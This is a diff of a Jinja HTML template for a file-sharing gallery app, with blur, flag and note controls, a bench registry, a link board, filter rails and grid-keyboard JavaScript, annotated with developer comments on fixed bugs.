{# Blurred only because the whole booth is (r2b D2b): say so, and offer no
|
||||
per-item un-blur — the booth flag would keep it blurred, so the control
|
||||
would do nothing visible. The header un-blurs the booth. #}
|
||||
{% if it.blurred and not it.blurred_self %}
|
||||
<span class="blurtoggle blur-by-booth {{ cls }}" title="blurred with the whole booth — un-blur the booth in the header">◉ booth</span>
|
||||
{% else %}
|
||||
<form class="blurtoggle {{ cls }}" method="post" action="/b/{{ name_url }}/blur">
|
||||
<input type="hidden" name="f" value="{{ it.name }}">
|
||||
<input type="hidden" name="on" value="{{ '0' if it.blurred else '1' }}">
|
||||
<button title="{{ 'un-blur this item' if it.blurred else 'blur this item — cosmetic only, the file is still served' }}"
|
||||
aria-label="{{ 'un-blur' if it.blurred else 'blur' }} {{ it.name }}"
|
||||
>{{ '◉ blurred' if it.blurred else '◌ blur' }}</button>
|
||||
<input type="hidden" name="on" value="{{ '0' if it.blurred_self else '1' }}">
|
||||
<button title="{{ 'un-blur this item' if it.blurred_self else 'blur this item — cosmetic only, the file is still served' }}"
|
||||
aria-label="{{ 'un-blur' if it.blurred_self else 'blur' }} {{ it.name }}"
|
||||
>{{ '◉ blurred' if it.blurred_self else '◌ blur' }}</button>
|
||||
</form>
|
||||
{% endif %}
|
||||
{%- endmacro %}
|
||||
|
||||
{# The per-item MARK controls: flag (the operator pointing at this one) and a
|
||||
note field. Same macro discipline as blurtoggle above — three item branches,
|
||||
one definition. `marks` here is THIS item's marks, from item_marks. #}
|
||||
{% macro markcontrols(name_url, it, marks, cls='') -%}
|
||||
{% set flagged = marks | selectattr('shape', 'equalto', 'flag') | list | length > 0 %}
|
||||
<form class="flagtoggle {{ cls }}" method="post" action="/b/{{ name_url }}/flag">
|
||||
{# THE flag predicate (flagged_targets), shared with every other surface #}
|
||||
{% set flagged = it.name in flagged_set %}
|
||||
<form class="flagtoggle {{ cls }}" method="post" action="/b/{{ name_url }}/flag" data-inplace>
|
||||
<input type="hidden" name="target" value="{{ it.name }}">
|
||||
<input type="hidden" name="on" value="{{ '0' if flagged else '1' }}">
|
||||
<button title="{{ 'un-flag this item' if flagged else 'flag this one — the session that posted it can read the selection' }}"
|
||||
@@ -33,38 +44,68 @@
|
||||
textarea. #}
|
||||
{% macro marknotes(name_url, it, marks) -%}
|
||||
{% for m in marks if m.shape == 'note' %}
|
||||
<div class="item-note" id="mark-{{ m.id }}">
|
||||
{# no id: `mark-<id>` names the panel's article, which is what the CLI's
|
||||
`#mark-<id>` links mean (booth-dev, 2026-09-28) #}
|
||||
<div class="item-note">
|
||||
<pre>{{ m.text }}</pre>
|
||||
<form method="post" action="/b/{{ name_url }}/unmark">
|
||||
<form method="post" action="/b/{{ name_url }}/unmark" data-inplace>
|
||||
<input type="hidden" name="mark" value="{{ m.id }}">
|
||||
<button class="mark-x" title="withdraw this note">×</button>
|
||||
<button class="mark-x" title="withdraw this note" aria-label="withdraw this note">×</button>
|
||||
</form>
|
||||
</div>
|
||||
{% endfor %}
|
||||
<details class="item-addnote">
|
||||
<summary>+ note</summary>
|
||||
<form method="post" action="/b/{{ name_url }}/note">
|
||||
<form method="post" action="/b/{{ name_url }}/note" data-inplace>
|
||||
<input type="hidden" name="target" value="{{ it.name }}">
|
||||
<textarea name="text" rows="2" placeholder="a note on this item"></textarea>
|
||||
<textarea name="text" rows="2" aria-label="a note on this item" placeholder="a note on this item"></textarea>
|
||||
<button type="submit">Add</button>
|
||||
</form>
|
||||
</details>
|
||||
{%- endmacro %}
|
||||
|
||||
{# R2 C1: an item's number in the WHOLE set, zero-padded to the set's width so
|
||||
a column of them lines up. Width reads `all_items`, never the filtered list:
|
||||
a filter must not change how a number is written any more than which. #}
|
||||
{# as S5c (G17): a tile's reveal. Its name is the words on it, glyph hidden,
|
||||
the item's name riding as .sr-only text: "reveal a.png", and after the
|
||||
script flips the glyph and the word, "hide a.png". No aria-label, which
|
||||
would contradict the words after the flip. #}
|
||||
{% macro revealbtn(name) -%}
|
||||
<button type="button" class="reveal"><span class="rv-glyph" aria-hidden="true">👁</span> <span class="rv-word">reveal</span><span class="sr-only"> {{ name }}</span></button>
|
||||
{%- endmacro %}
|
||||
|
||||
{% macro ordinal(it) -%}
|
||||
<span class="ord" data-ordinal="{{ it.ordinal }}">#{{ "%0*d"|format((all_items|length|string|length), it.ordinal) }}</span>
|
||||
{%- endmacro %}
|
||||
|
||||
{% block title %}{{ name }} · The Booth{% endblock %}
|
||||
{% block html_attrs %} data-booth="{{ name }}"{% endblock %}
|
||||
{% block content %}
|
||||
<div class="boothhead">
|
||||
<a class="back" href="/">‹ all booths</a>
|
||||
<h1>{{ name }}</h1>
|
||||
<span class="sub">{% if uploaded %}<span class="badge">⬆ pickup</span> {% endif %}{% if board %}{{ board|length }} link{{ '' if board|length == 1 else 's' }}{% if items %} · {{ items|length }} file{{ '' if items|length == 1 else 's' }}{% endif %}{% else %}{% if marks_open %}<span class="badge badge-mark">{{ marks_open }} open</span> · {% endif %}{{ items|length }} item{{ '' if items|length == 1 else 's' }} · expires in {{ expires_in|dur }}{% endif %}</span>
|
||||
{# The manifest's TITLE is the display name; the directory name stays visible
|
||||
beside it because that is the identity the operator navigates by and refers
|
||||
to positionally, and losing it would be losing the thing the URL says.
|
||||
Index cards keep the directory name alone for the same reason. #}
|
||||
{% if manifest and not manifest.error and manifest.title and manifest.title != name %}
|
||||
<h1>{{ manifest.title }} <span class="h1-slug">{{ name }}</span></h1>
|
||||
{% else %}
|
||||
<h1>{{ name }}</h1>
|
||||
{% endif %}
|
||||
{# The open count and the lifetime line depend on marks, so they are a region
|
||||
(R2 C3): answering the last pick in place must not leave "1 open" behind. #}
|
||||
<span class="region-wrap" data-region="booth-status"><span class="sub">{% if uploaded %}<span class="badge">⬆ pickup</span> {% endif %}{% if board %}{{ board|length }} link{{ '' if board|length == 1 else 's' }}{% if items %} · {{ items|length }} file{{ '' if items|length == 1 else 's' }}{% endif %}{{ dates(created_at, landed_at, now) }} · {{ lifetime(kept, hold, expires_in) }}{% else %}{% if marks_open %}<span class="badge badge-mark">{{ marks_open }} open</span> · {% endif %}{{ items|length }} item{{ '' if items|length == 1 else 's' }}{{ dates(created_at, landed_at, now) }} · {{ lifetime(kept, hold, expires_in) }}{% endif %}</span></span>
|
||||
{% if items %}<a class="dl-link" href="/b/{{ name_url }}/?download=1" title="download this booth as a zip">⬇ zip</a>{% endif %}
|
||||
{{ provenance(manifest) }}
|
||||
{# A durable multi-writer board gets no one-click wipe — same rule as the
|
||||
kept lane on the index. Remove rows with the per-row ×, or release the
|
||||
board from the index and wipe it from there. #}
|
||||
{# Promote or release without going back to the index. `next` keeps you on
|
||||
this page instead of bouncing you to /. #}
|
||||
{% if kept %}
|
||||
<form class="keep-lg" method="post" action="/b/{{ name_url }}/unkeep">
|
||||
<form class="keep-lg" method="post" action="/b/{{ name_url }}/unkeep"
|
||||
data-booth="{{ name }}" data-confirm="release">
|
||||
<input type="hidden" name="next" value="/b/{{ name_url }}/">
|
||||
<button title="release — rejoins the TTL sweep">★ kept — release</button>
|
||||
</form>
|
||||
@@ -73,10 +114,27 @@
|
||||
<input type="hidden" name="next" value="/b/{{ name_url }}/">
|
||||
<button title="keep — exempt from the TTL sweep">☆ keep</button>
|
||||
</form>
|
||||
{% endif %}
|
||||
{# r2b D2b + D2: the booth-wide blur controls, outside every data-region.
|
||||
The fog is server state for every viewer and a plain form (works with
|
||||
scripts off); its label says what IS. Reveal all lifts it for this tab
|
||||
only, and is markup only when something here is blurred. A BOARD gets
|
||||
them too when it holds files: only the one-click wipe is board-suppressed,
|
||||
and an item's "◉ booth" label points here. #}
|
||||
{% if all_items %}
|
||||
{# The fog form IS a region: its label is server state, so an in-place save
|
||||
refreshes it with everything else (a fog set elsewhere since this page
|
||||
loaded would otherwise leave it saying "blur booth"). Reveal all is not:
|
||||
its state lives in this tab, and a swap must never reset it. #}
|
||||
<span class="region-wrap" data-region="blur-booth"><form class="blur-all{% if booth_blurred %} is-on{% endif %}" method="post" action="/b/{{ name_url }}/blurbooth">
|
||||
<input type="hidden" name="on" value="{{ '0' if booth_blurred else '1' }}">
|
||||
<button title="{{ 'un-blur the whole booth — per-item blur stays as it was' if booth_blurred else 'blur every image and video in this booth — cosmetic only, the files are still served' }}">{{ '◉ booth blurred' if booth_blurred else '◌ blur booth' }}</button>
|
||||
</form></span>
|
||||
{% if all_items | selectattr('blurred') | list %}<button type="button" class="reveal-all-btn" data-reveal-all hidden title="blur is cosmetic — the files are still served"><span class="ra-label"><span class="ra-glyph" aria-hidden="true">👁</span> <span class="ra-word">reveal all</span></span><span class="ra-note"> — blur is cosmetic</span></button>{% endif %}
|
||||
{% endif %}
|
||||
{% if not board %}
|
||||
<form class="wipe wipe-lg" method="post" action="/b/{{ name_url }}/delete"
|
||||
onsubmit="return confirm('Wipe this booth now?')">
|
||||
data-booth="{{ name }}" data-confirm="{{ 'wipe-kept' if kept else 'wipe' }}">
|
||||
<button>Wipe now</button>
|
||||
</form>
|
||||
{% endif %}
|
||||
@@ -94,8 +152,90 @@
|
||||
back to the flagged items. Always rendered on a gallery booth — the add-note
|
||||
field is a control, not a result, so it has to be there before the first
|
||||
mark exists. #}
|
||||
{% if not board %}
|
||||
{# `marks or not board`: the standing link board renders as a board rather than
|
||||
a gallery, and the add-note control would be noise on it — but the
|
||||
suppression was unconditional, so a pick declared on a booth that happens to
|
||||
carry a links.md had no form to answer it and nothing said so. #}
|
||||
{# R2 C5: on a GALLERY booth the panel moves into the verdict aside beside the
|
||||
set (below). It renders up here only where there is no set to sit beside —
|
||||
a board, or a booth with marks and nothing to show. #}
|
||||
{# `is_board`, not `board`: PAGE IDENTITY, not page content — the lesson the
|
||||
bench panel already learned. `board` is the parsed rows, empty for a
|
||||
links.md with none, and a board with an image in it must still be a board. #}
|
||||
{% set lightbox = all_items and not is_board %}
|
||||
{% if (marks or not board) and not lightbox %}
|
||||
<div class="marks-panel" data-region="marks-panel">
|
||||
{% include "_marks.html" %}
|
||||
</div>
|
||||
{% endif %}
|
||||
|
||||
{# THE BENCH REGISTRY — BLOCK LEVEL, and that placement is load-bearing.
|
||||
This <div> spent one commit nested inside the `<span class="sub">` of the
|
||||
booth header, because the insertion matched the FIRST `{% if board %}` in
|
||||
the file rather than the block-level one. A <div> inside a <span> is
|
||||
invalid HTML: the parser closes the span implicitly and hoists the div
|
||||
out, orphaning the rest of the sub-line. Three of four cold bug-hunt arms
|
||||
found it and the seat confirmed it in the live document by byte offset.
|
||||
Keep this block between the marks panel and the board form. #}
|
||||
{% if is_board %}
|
||||
{# THE BENCH REGISTRY. A bench is a running thing — jackdaw's current bench,
|
||||
talk's current bench, the things that get promoted to Homepage when they
|
||||
are fully deployed. NOT a booth (a booth announces itself and is swept) and
|
||||
NOT a bookmark (a repo page, a model card — those stay on the board below).
|
||||
|
||||
Identity is the NORMALIZED URL, so re-announcing a bench updates its row
|
||||
instead of appending a fifth. `talk` was on the board five times.
|
||||
|
||||
ORDER: state (live → promoted → retired), then name, then id as a total
|
||||
tie-break so two benches sharing a name cannot swap between renders.
|
||||
|
||||
The href is `b.url` — the URL AS POSTED — never `b.id`. The id is
|
||||
normalized for identity; a server that cares about a trailing slash or a
|
||||
case-sensitive path would 404 on it. #}
|
||||
<div class="benches">
|
||||
<div class="bench-head">
|
||||
<span class="bench-title">{{ benches|length }} bench{{ '' if benches|length == 1 else 'es' }}</span>
|
||||
<span class="bench-note">a running thing, registered · re-posting updates the row</span>
|
||||
</div>
|
||||
{% if benches_error %}
|
||||
{# DAMAGED AND ABSENT MUST NOT RENDER THE SAME. Only one of them needs a
|
||||
human, and the v0.2.2 outage was learned by treating them alike. #}
|
||||
<div class="bench-err">the bench registry could not be read: {{ benches_error }}</div>
|
||||
{% elif not benches %}
|
||||
<div class="bench-empty">no benches registered yet — <code>booth bench add <url> <name></code></div>
|
||||
{% endif %}
|
||||
{% for b in benches %}
|
||||
<div class="bench-row is-{{ b.state }}">
|
||||
<span class="bench-state">{{ b.state }}</span>
|
||||
<div class="bench-main">
|
||||
<a class="bench-link" href="{{ b.url }}" target="_blank" rel="noopener">{{ b.name or b.url }}</a>
|
||||
<div class="bench-url">{{ b.url }}</div>
|
||||
</div>
|
||||
<div class="bench-meta">
|
||||
{% if b.owner %}<span class="bench-who">{{ b.owner }}</span>{% endif %}
|
||||
{# The date it was REGISTERED, not the date it was last touched: `added`
|
||||
survives re-registration and `updated` does not, so `added` is the
|
||||
one that answers "how long has this been around". #}
|
||||
{% if b.added %}<span class="bench-when">{{ b.added[:10] }}</span>{% endif %}
|
||||
</div>
|
||||
<form class="bench-acts" method="post" action="/b/{{ name_url }}/bench-state">
|
||||
<input type="hidden" name="bench" value="{{ b.id }}">
|
||||
{% for s in ("live", "promoted", "retired") %}
|
||||
{% if s != b.state %}
|
||||
<button type="submit" name="state" value="{{ s }}" class="bench-to">{{ s }}</button>
|
||||
{% endif %}
|
||||
{% endfor %}
|
||||
<button type="submit" class="bench-rm" formaction="/b/{{ name_url }}/bench-remove"
|
||||
title="remove this bench" aria-label="remove the bench {{ b.name or b.url }}">×</button>
|
||||
</form>
|
||||
</div>
|
||||
{% endfor %}
|
||||
<form class="bench-add" method="post" action="/b/{{ name_url }}/bench-add">
|
||||
<input type="url" name="url" aria-label="https://host:port/" placeholder="https://host:port/" required>
|
||||
<input type="text" name="name" aria-label="what it is" placeholder="what it is">
|
||||
<button type="submit">register</button>
|
||||
</form>
|
||||
</div>
|
||||
{% endif %}
|
||||
|
||||
{% if board %}
|
||||
@@ -128,77 +268,174 @@
|
||||
formaction="/b/{{ name_url }}/unlink-many">🗑 delete <span id="board-selcount">0</span></button>
|
||||
</div>
|
||||
{% for e in board %}
|
||||
<div class="board-row{% if e.pinned %} is-pinned{% endif %}">
|
||||
{# DEAD: the row points at a booth that has been swept. 156 of 221 rows.
|
||||
MARKED, never removed — removal is the operator ticking the box and using
|
||||
the bulk control that was already here. #}
|
||||
<div class="board-row{% if e.pinned %} is-pinned{% endif %}{% if e.dead %} board-dead{% endif %}">
|
||||
<input class="board-check" type="checkbox" name="sel" value="{{ e.id }}" aria-label="select {{ e.desc }}">
|
||||
<button type="submit" class="board-pin{% if e.pinned %} on{% endif %}" formaction="/b/{{ name_url }}/pin"
|
||||
name="entry" value="{{ e.id }}" aria-pressed="{{ 'true' if e.pinned else 'false' }}"
|
||||
name="entry" value="{{ e.id }}" aria-pressed="{{ 'true' if e.pinned else 'false' }}" aria-label="pin {{ e.desc }}"
|
||||
title="{{ 'unpin' if e.pinned else 'pin to top' }}">{{ '★' if e.pinned else '☆' }}</button>
|
||||
<div class="board-main">
|
||||
<a class="board-link" href="{{ e.url }}" target="_blank" rel="noopener">{{ e.desc }}</a>
|
||||
<div class="board-url">{{ e.url }}</div>
|
||||
{% if e.safe %}<a class="board-link" href="{{ e.url }}" target="_blank" rel="noopener">{{ e.desc }}</a>
|
||||
{%- else -%}
|
||||
{# Refused, not hidden: the operator should see that something was posted
|
||||
and that we would not link it. `is_safe_href` decides, in links.py. #}
|
||||
<span class="board-link board-unsafe" title="refused: not an http(s) link">{{ e.desc }}</span>
|
||||
<span class="board-dead-tag">unsafe link refused</span>
|
||||
{%- endif %}
|
||||
<div class="board-url">{{ e.url }}{% if e.dead %} <span class="board-dead-tag">booth is gone</span>{% endif %}</div>
|
||||
</div>
|
||||
<div class="board-meta">
|
||||
{% if e.who %}<span class="board-who">{{ e.who }}</span>{% endif %}
|
||||
{% if e.when %}<span class="board-when">{{ e.when }}</span>{% endif %}
|
||||
{% if e.who|byline %}<span class="board-who">{{ e.who|byline }}</span>{% endif %}
|
||||
{% if e.when %}<span class="board-when"><time datetime="{{ e.when }}">{{ e.when|clock }}</time></span>{% endif %}
|
||||
</div>
|
||||
<button type="button" class="copy-btn board-copy" data-copy="{{ e.url }}" title="copy URL">⧉</button>
|
||||
<button type="button" class="copy-btn board-copy" data-copy="{{ e.url }}" title="copy URL" aria-label="copy the URL of {{ e.desc }}">⧉</button>
|
||||
<button type="submit" class="board-rm-btn" formaction="/b/{{ name_url }}/unlink"
|
||||
name="entry" value="{{ e.id }}" title="remove this link"
|
||||
name="entry" value="{{ e.id }}" title="remove this link" aria-label="remove the link {{ e.desc }}"
|
||||
data-desc="{{ e.desc }}" data-url="{{ e.url }}">×</button>
|
||||
</div>
|
||||
{% endfor %}
|
||||
</form>
|
||||
{% endif %}
|
||||
|
||||
{% if not items and not board and not marks %}
|
||||
{# ⚠ THE RAIL IS GATED ON `all_items`, NOT `items`, AND THAT IS THE WHOLE
|
||||
POINT. `items` is the FILTERED list, so gating on it meant a valid filter
|
||||
with zero hits removed the rail, the filter links and the only way back to
|
||||
`all` — while the empty-booth branch below announced the booth was empty
|
||||
with `rail.total` still holding the real count. No recovery without editing
|
||||
the address bar, and it failed the same way with JavaScript off, on the
|
||||
surface the operator actually reviews on.
|
||||
|
||||
Found by the heid bug-hunt panel (gróa, 2026-09-22), whose own note called
|
||||
it the finding most likely to bite users this week. #}
|
||||
{% if not all_items and not board and not marks %}
|
||||
<div class="empty">This booth is empty.</div>
|
||||
{% elif items %}
|
||||
{% elif all_items %}
|
||||
{# THE LIGHTBOX (R2 C5). The verdict aside comes FIRST in the document and the
|
||||
set second: on a narrow screen that is the stacking the contract wants
|
||||
(the question above the work), and on a wide one the grid areas in
|
||||
base.html put the aside on the right. Placement, not order — nothing in an
|
||||
ordered collection moves. #}
|
||||
{% if lightbox %}
|
||||
<div class="lightbox">
|
||||
<aside class="verdict" data-region="verdict" aria-label="your verdict">
|
||||
{% include "_marks.html" %}
|
||||
</aside>
|
||||
<div class="lb-set">
|
||||
{% endif %}
|
||||
{# `elif items` and not a bare `else`: a board booth has NO gallery items (its
|
||||
links.md is rendered as the board above and filtered out), so a plain else
|
||||
would emit an empty <div class="gallery"> under the board. #}
|
||||
<div class="gallery">
|
||||
{# THE RAIL. Totals and per-filter counts, as LINKS with a query parameter —
|
||||
resolved server-side, so the whole thing works with JavaScript off. The
|
||||
gallery is the surface the operator actually reviews on and U3 already
|
||||
cost the verbatim path its no-JS operation; this one does not repeat that.
|
||||
|
||||
ORDER: the declaration order of FILTERS in app.py. A rail is an ordered
|
||||
collection and invariant 6 binds to it like any other.
|
||||
|
||||
THE GROUP ROW is `rail.groups`, which is EMPTY unless grouping is
|
||||
informative — see `_groups` in app.py. `{% raw %}{% if rail.groups %}{% endraw %}`
|
||||
is therefore the whole guard; the two degenerate cases (one group for
|
||||
everything, one group per item) are decided in Python, where they can be
|
||||
measured, rather than by a count in a template. #}
|
||||
<div class="rail" data-region="filters">
|
||||
<span class="rail-total">{{ rail.total }} item{{ '' if rail.total == 1 else 's' }}</span>
|
||||
{% for f in rail.counts %}
|
||||
<a class="rail-f{% if f.key == filter %} on{% endif %}"
|
||||
data-filter="{{ f.key }}"
|
||||
href="/b/{{ name_url }}/{% if f.key != 'all' %}?filter={{ f.key }}{% endif %}"
|
||||
{% if f.key == filter %}aria-current="true"{% endif %}>{{ f.key }} <b>{{ f.n }}</b></a>
|
||||
{% endfor %}
|
||||
{% if rail.groups %}
|
||||
<nav class="rail-groups" aria-label="jump to group">
|
||||
{% for g in rail.groups %}
|
||||
{# The anchor is the first member's EXISTING tile id, so a group has one
|
||||
identity on the page rather than two. Plain fragment links: no JS,
|
||||
and the browser's own back button undoes the jump. #}
|
||||
<a class="rail-g" data-group="{{ g.key }}"
|
||||
href="#{{ g.anchor }}">{{ g.key }} <b>{{ g.n }}</b></a>
|
||||
{% endfor %}
|
||||
</nav>
|
||||
{% endif %}
|
||||
</div>
|
||||
{% if not items %}
|
||||
{# An empty FILTER, not an empty booth. The rail above is still rendered, so
|
||||
the way back to `all` is one click. #}
|
||||
<div class="empty">No items match the <b>{{ filter }}</b> filter.
|
||||
<a href="/b/{{ name_url }}/">show all {{ rail.total }}</a></div>
|
||||
{% endif %}
|
||||
{% set group_n = {} %}{% for g in rail.groups %}{% set _ = group_n.update({g.key: g.n}) %}{% endfor %}
|
||||
<div class="gallery" id="grid" tabindex="-1">
|
||||
{% for it in items %}
|
||||
{# R2 C5: an inline header before each group's FIRST tile, only when the
|
||||
rail thinks grouping is informative. A <div> spanning the grid, never a
|
||||
figure.item, so the keyboard and the order check are blind to it. #}
|
||||
{% if inline_groups and it.group and (loop.first or loop.previtem.group != it.group) %}
|
||||
<div class="grp-head" aria-hidden="true"><span class="grp-key">{{ it.group }}</span> <span class="grp-n">{{ group_n.get(it.group, '') }}</span></div>
|
||||
{% endif %}
|
||||
{% if it.doc and it.rendered is not none %}
|
||||
{# Docs render INLINE, collapsible, and closable — not a link to a
|
||||
separate page. <details open> is native collapse (works with JS off);
|
||||
separate page. The fold is a native <details> (works with JS off);
|
||||
the ✕ hides the item for the session (JS, progressive enhancement).
|
||||
The item spans the full grid width so prose has room to read. #}
|
||||
<figure class="item item-doc{% if it.blurred %} blurred{% endif %}" data-name="{{ it.name }}" data-item="{{ it.name }}" id="item-{{ it.name }}">
|
||||
<figure class="item item-doc{% if it.blurred %} blurred{% endif %}" data-name="{{ it.name }}" data-item="{{ it.name }}" id="item-{{ it.url }}" data-region="item-{{ it.url }}">
|
||||
{% if it.blurred %}
|
||||
{# Inline docs need this MORE than images, not less: a rendered doc puts
|
||||
its text straight on the page, so "blur the picture" logic that skips
|
||||
the doc branch leaves the most readable content unblurred. Missed on
|
||||
the first pass; caught by a live check, not by the suite. #}
|
||||
<button type="button" class="reveal" aria-label="reveal {{ it.name }}">👁 reveal</button>
|
||||
{{ revealbtn(it.name) }}
|
||||
{% endif %}
|
||||
<details class="doc-inline" open>
|
||||
<summary class="doc-bar">
|
||||
<span class="doc-chevron" aria-hidden="true">▸</span>
|
||||
<span class="doc-name">{{ it.name }}</span>
|
||||
<span class="doc-spacer"></span>
|
||||
<a class="doc-act" href="view?f={{ it.url }}" title="open full page">⤢</a>
|
||||
<a class="doc-act" href="{{ it.url }}" download title="download {{ it.name }}">⬇</a>
|
||||
{# as S5c (G7): the bar holds the fold's summary, which is its LABEL
|
||||
only, and the tools beside it. A <summary> is one button to a screen
|
||||
reader, and a form is not valid inside one. The fold holds only its
|
||||
summary so a closed fold keeps the tools; the body and notes below
|
||||
are hidden with it by CSS (:has), scripts on or off. #}
|
||||
<div class="doc-bar">
|
||||
<details class="doc-fold" open>
|
||||
<summary class="doc-sum">
|
||||
<span class="doc-chevron" aria-hidden="true">▸</span>
|
||||
{{ ordinal(it) }}
|
||||
<span class="doc-name">{{ it.name }}</span>
|
||||
</summary>
|
||||
</details>
|
||||
<div class="doc-tools">
|
||||
<a class="doc-act" href="view?f={{ it.url }}" title="open full page" aria-label="open {{ it.name }} full page">⤢</a>
|
||||
<a class="doc-act" href="{{ it.url }}" download title="download {{ it.name }}" aria-label="download {{ it.name }}">⬇</a>
|
||||
{{ blurtoggle(name_url, it, 'doc-act') }}
|
||||
{{ markcontrols(name_url, it, item_marks.get(it.name, []), 'doc-act') }}
|
||||
<button type="button" class="doc-act doc-close" title="close (hide for now)" aria-label="close">✕</button>
|
||||
</summary>
|
||||
</div>
|
||||
</div>
|
||||
<div class="doc-inline">
|
||||
{% if it.rendered_html %}
|
||||
<article class="markdown-body doc-body">{{ it.rendered|safe }}</article>
|
||||
{% else %}
|
||||
<pre class="textview doc-body">{{ it.rendered }}</pre>
|
||||
{% endif %}
|
||||
</details>
|
||||
{# The doc branch had `markcontrols` and not `marknotes`, so the
|
||||
operator could point at a report and not write down why — on the
|
||||
one item kind whose whole content is prose. Exactly the
|
||||
"patched two of three" failure the blurtoggle macro above was
|
||||
written to prevent, recurring on the macro written to prevent it. #}
|
||||
{{ marknotes(name_url, it, item_marks.get(it.name, [])) }}
|
||||
</div>
|
||||
</figure>
|
||||
{% else %}
|
||||
<figure class="item item-{{ it.kind }}{% if it.blurred %} blurred{% endif %}{% if item_marks.get(it.name, []) | selectattr('shape', 'equalto', 'flag') | list %} is-flagged{% endif %}" data-item="{{ it.name }}" id="item-{{ it.name }}">
|
||||
<figure class="item item-{{ it.kind }}{% if it.blurred %} blurred{% endif %}{% if it.name in flagged_set %} is-flagged{% endif %}" data-item="{{ it.name }}" id="item-{{ it.url }}" data-region="item-{{ it.url }}">
|
||||
{{ ordinal(it) }}
|
||||
{% if it.blurred %}
|
||||
{# Click-to-reveal is per-viewer and client-side: nothing is persisted, so
|
||||
a reload re-hides it. No-JS degrades to STAYS BLURRED, which is the
|
||||
safe direction to fail in. #}
|
||||
<button type="button" class="reveal" aria-label="reveal {{ it.name }}">👁 reveal</button>
|
||||
{{ revealbtn(it.name) }}
|
||||
{% endif %}
|
||||
{% if it.kind == 'image' %}
|
||||
<a href="view?f={{ it.url }}"><img loading="lazy" src="{{ it.url }}" alt="{{ it.name }}"></a>
|
||||
{# as S5c (G14): the picture's drawn size, so a lazy tile reserves its
|
||||
box before it loads; none when the header could not be read #}
|
||||
<a href="view?f={{ it.url }}"><img loading="lazy" decoding="async" src="{{ it.thumb or it.url }}"{% if it.dims %} width="{{ it.dims[0] }}" height="{{ it.dims[1] }}"{% endif %} alt="{{ it.name }}"></a>
|
||||
{% elif it.kind == 'video' %}
|
||||
{# preload="none": a booth of a dozen webms was fetching them
|
||||
all at page load ("metadata" still pulls real ranges per
|
||||
@@ -223,8 +460,12 @@
|
||||
{{ marknotes(name_url, it, item_marks.get(it.name, [])) }}
|
||||
{% else %}
|
||||
<figcaption>
|
||||
<a class="dl-link" href="{{ it.url }}" download title="download {{ it.name }}">⬇</a>
|
||||
<a class="dl-link" href="{{ it.url }}" download title="download {{ it.name }}" aria-label="download {{ it.name }}">⬇</a>
|
||||
<span class="cap-text">{{ it.caption or it.name }}</span>
|
||||
{# R2: every MEDIA tile links into the review — a picture through its
|
||||
image, sound and video through this. Enter on the grid cursor
|
||||
follows the first `view` link on the tile. #}
|
||||
{% if it.kind in ('video', 'audio') %}<a class="rv-link" href="view?f={{ it.url }}" title="review at full size">⤢ review</a>{% endif %}
|
||||
{{ blurtoggle(name_url, it) }}
|
||||
{{ markcontrols(name_url, it, item_marks.get(it.name, [])) }}
|
||||
</figcaption>
|
||||
@@ -234,8 +475,159 @@
|
||||
{% endif %}
|
||||
{% endfor %}
|
||||
</div>
|
||||
{% if lightbox %}
|
||||
</div>{# .lb-set #}
|
||||
</div>{# .lightbox #}
|
||||
{% endif %}
|
||||
{% endif %}
|
||||
|
||||
{% if items %}
|
||||
<script id="gridkeys">
|
||||
/* GRID KEYBOARD — U7. Additive by construction: every action it reaches is a
|
||||
control that already exists on the tile and already works with a mouse, so
|
||||
the page is complete without this file. It is bound ONLY when there is a
|
||||
grid ({% raw %}{% if items %}{% endraw %} above): binding it on the standing
|
||||
link board would swallow `f` and flag nothing.
|
||||
|
||||
Focus moves in RENDER ORDER, which is the item order filtered by the current
|
||||
filter and never re-sorted — so `→` walks the grid in the same sequence the
|
||||
operator reads it, and the same sequence the zoom ring uses. */
|
||||
(function () {
|
||||
var grid = document.getElementById('grid');
|
||||
if (!grid) return;
|
||||
/* The tiles the cursor visits: every tile but a doc closed with its ✕,
|
||||
which is display:none and cannot take focus (as S5c, heid bug-hunt R1). */
|
||||
var tiles = function () { return [].slice.call(grid.querySelectorAll('figure.item:not(.is-closed)')); };
|
||||
var at = -1;
|
||||
/* as S5c: THE CURSOR IS AN ITEM, NOT A POSITION. `cur` is the cursor tile's
|
||||
data-item (its rel); `at` is re-read from it before every key and after
|
||||
every swap, so a doc closed since cannot shift the cursor onto the wrong
|
||||
tile. A cursor whose tile is gone (closed) is no cursor. */
|
||||
var cur = null;
|
||||
function locate() {
|
||||
var t = tiles();
|
||||
at = -1;
|
||||
for (var i = 0; i < t.length; i++) {
|
||||
if (t[i].getAttribute('data-item') === cur) { at = i; break; }
|
||||
}
|
||||
if (at < 0) cur = null;
|
||||
return at;
|
||||
}
|
||||
/* as S5c (G6): THE CURSOR IS REAL FOCUS, so a screen reader and the browser
|
||||
know where it is. The tile it moves to is made focusable (tabindex=-1, an
|
||||
attribute on a server-rendered node, as S5b's fallback sets) and focused
|
||||
without a scroll; the scroll below is today's. Among tiles only the cursor
|
||||
tile carries it, so a mouse press focuses no other tile. */
|
||||
function mark() {
|
||||
var c = current();
|
||||
[].forEach.call(grid.querySelectorAll('figure.item'), function (el) {
|
||||
el.classList.toggle('is-cursor', el === c);
|
||||
if (el !== c) el.removeAttribute('tabindex');
|
||||
});
|
||||
}
|
||||
function focus(i) {
|
||||
var t = tiles();
|
||||
if (!t.length) return;
|
||||
at = Math.max(0, Math.min(i, t.length - 1));
|
||||
cur = t[at].getAttribute('data-item');
|
||||
t[at].setAttribute('tabindex', '-1');
|
||||
t[at].focus({ preventScroll: true });
|
||||
mark();
|
||||
t[at].scrollIntoView({ block: 'nearest' });
|
||||
}
|
||||
/* ...and focus that lands on a tile by any other road makes it the cursor:
|
||||
S5b's fallback after a swap whose focused control vanished (a note's ×)
|
||||
puts focus on the fresh tile. The cursor and focus never disagree. */
|
||||
grid.addEventListener('focusin', function (e) {
|
||||
var i = tiles().indexOf(e.target);
|
||||
if (i >= 0 && i !== at) { at = i; cur = e.target.getAttribute('data-item'); mark(); }
|
||||
});
|
||||
function current() { var t = tiles(); return at >= 0 && at < t.length ? t[at] : null; }
|
||||
/* WHERE THE CURSOR STARTS WHEN THERE ISN'T ONE. Starting at tile 0
|
||||
unconditionally meant the first arrow key after ANY scroll yanked the
|
||||
viewport back to the top — and a group jump is a scroll, so `→` right
|
||||
after a jump silently undid it. Found by the heid bug-hunt panel (gróa),
|
||||
2026-09-22; the general scroll-then-arrow case is the same defect.
|
||||
|
||||
The first tile whose bottom edge clears the sticky rail is the one the
|
||||
reader is looking at, so that is where the cursor picks up. */
|
||||
